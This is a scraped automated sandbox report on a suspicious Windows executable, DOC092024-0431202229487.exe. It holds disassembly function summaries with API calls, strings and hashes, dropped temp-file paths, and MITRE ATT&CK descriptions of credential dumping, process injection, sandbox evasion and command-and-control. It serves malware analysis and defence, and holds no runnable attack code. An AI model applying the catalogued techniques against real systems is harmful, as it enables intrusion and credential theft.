Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend_memmove
String ID: ComboBox$ListBox
API String ID: 1456604079-1403004172
Opcode ID: e357106dc71bfa5bcb1c4cc57a9d1cab727fe3d9f49319c19fac48d85d4fc7dc
Instruction ID: 49581d0830060632d85ec08e12a1394d7e090cf5e0d3fb8a92ffb48ca198b30c
Opcode Fuzzy Hash: e357106dc71bfa5bcb1c4cc57a9d1cab727fe3d9f49319c19fac48d85d4fc7dc
Instruction Fuzzy Hash: 3B01A271642108ABCB06EBA8C956EFF73A89F01701F244019B503F31C2DB5C9E5996B1

Function 0075804C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0075806A
_wcscmp.LIBCMT ref: 0075807C

Strings

#32770, xrefs: 00758076

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 1b00da9bf49a8ebd0eb38d8c0534ba61d782863fd881dfc137f99157585853c3
Instruction ID: 5e0f4abb49cadd0c2a75323495be778d255a4abd7786f4598789e25da0bff103
Opcode Fuzzy Hash: 1b00da9bf49a8ebd0eb38d8c0534ba61d782863fd881dfc137f99157585853c3
Instruction Fuzzy Hash: 59E0923360022967E720EAA59C0AF97FBACFB517A4F00402AA914E3082D6A89A4587D5

Function 0073DA03 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

__umatherr.LIBCMT ref: 0073DA2A

Part of subcall function 0073DD86: __ctrlfp.LIBCMT ref: 0073DDE5

__ctrlfp.LIBCMT ref: 0073DA47

Strings

xnx, xrefs: 0073DA3E, 0073DA0F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: __ctrlfp$__umatherr
String ID: xnx
API String ID: 219961500-221149
Opcode ID: c0754d78a29210a5217a74c867a8e1d048e8350be0fe226cdd407caa9d0065db
Instruction ID: b580f9e67cb4516ea1c8139bc3c1772acb9b5a56cf9c529724896408cafb78ee
Opcode Fuzzy Hash: c0754d78a29210a5217a74c867a8e1d048e8350be0fe226cdd407caa9d0065db
Instruction Fuzzy Hash: E4E06D7140860EEAEB117F90F90AAA93BA5EF04310F808095F98C14097DFBA89B49757

Function 0074B35D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 0074B36B

Part of subcall function 00732011: _doexit.LIBCMT ref: 0073201B

Strings

AutoIt, xrefs: 0074B35F
Error allocating memory., xrefs: 0074B364

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 65c04379620ae65e4a84fcbf55b742e7dfea2d84307c83cf56b3956686f4ec2a
Instruction ID: 113240f46064a436dba19eb37c3ed1f8463f136109e061e6c26c5657bcaa5d53
Opcode Fuzzy Hash: 65c04379620ae65e4a84fcbf55b742e7dfea2d84307c83cf56b3956686f4ec2a
Instruction Fuzzy Hash: 5BD0127138431872D22926A97C1FFC966888F05F51F004016BF48655C38ADDACD182E9

Function 0078BC74 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 0078BAB8
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 0078BCAB

Strings

WIN_XPe, xrefs: 0078BACB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: 45c5fa36511d4d77d8fcf57a34938974e731aeeac5ab67ff51916ef0dbb05cc8
Instruction ID: c2f946faceb7c3a07c1a65804b81eb05b3c13b13f99c7435c88e870abcb8e8e0
Opcode Fuzzy Hash: 45c5fa36511d4d77d8fcf57a34938974e731aeeac5ab67ff51916ef0dbb05cc8
Instruction Fuzzy Hash: CAE0C970C4410DEFCB19EBA8D845AECB7B8BB08300F14C496E422B2151C7795A46DF26

Function 007784C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 007784DF
PostMessageW.USER32(00000000), ref: 007784E6

Part of subcall function 00758355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 007583CD

Strings

Shell_TrayWnd, xrefs: 007784D8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: f99c24c4549afc90c6119f21e18c43fa938749bc1194fb46a26d98b2b2ec4ab8
Instruction ID: 10a2d608d265cabef77f6378f205746ab9ec9a52fd361982d932984a2401d399
Opcode Fuzzy Hash: f99c24c4549afc90c6119f21e18c43fa938749bc1194fb46a26d98b2b2ec4ab8
Instruction Fuzzy Hash: F7D0A972380300BBE670A3709C0FFCA6A04AB18B01F00492A7309AA2C0C8E8B8008228

Function 00778495 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0077849F
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 007784B2

Part of subcall function 00758355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 007583CD

Strings

Shell_TrayWnd, xrefs: 00778498

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ce246f41f97cbbd95a6b1bde41485afb9ab6ec8365aa29f54dcab38ef6b32026
Instruction ID: 5168c54115fba64871bcdf35deb8752c5ab275b20035aafcaa7b0bd6094bd9b0
Opcode Fuzzy Hash: ce246f41f97cbbd95a6b1bde41485afb9ab6ec8365aa29f54dcab38ef6b32026
Instruction Fuzzy Hash: E5D0A972384300B7E670A3709C0FFCA6A04AB14B01F00492A7309AA2C0C8E8A8008224

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DOC092024-0431202229487.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\2348427

C:\Users\user\AppData\Local\Temp\Wauseon

C:\Users\user\AppData\Local\Temp\aut2195.tmp

C:\Users\user\AppData\Local\Temp\aut21C4.tmp

C:\Users\user\AppData\Local\Temp\maneuverability

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
DOC092024-0431202229487.exe

Function 0071374E Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 145
windowCOMMON

Function 0073BDF6 Relevance: 21.5, APIs: 14, Instructions: 537
COMMONLIBRARYCODE

Function 007129C2 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
timewindowregistryCOMMON

Function 0072E47B Relevance: 10.7, APIs: 7, Instructions: 175
COMMON

Function 007131F2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Function 007601E4 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 237
COMMON

Function 0072E975 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 170
COMMON

Function 00714257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235
COMMON

Function 0075C890 Relevance: 18.3, APIs: 12, Instructions: 316
fileCOMMON

Function 007130A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Function 00712F58 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53
registrywindowclipboardCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre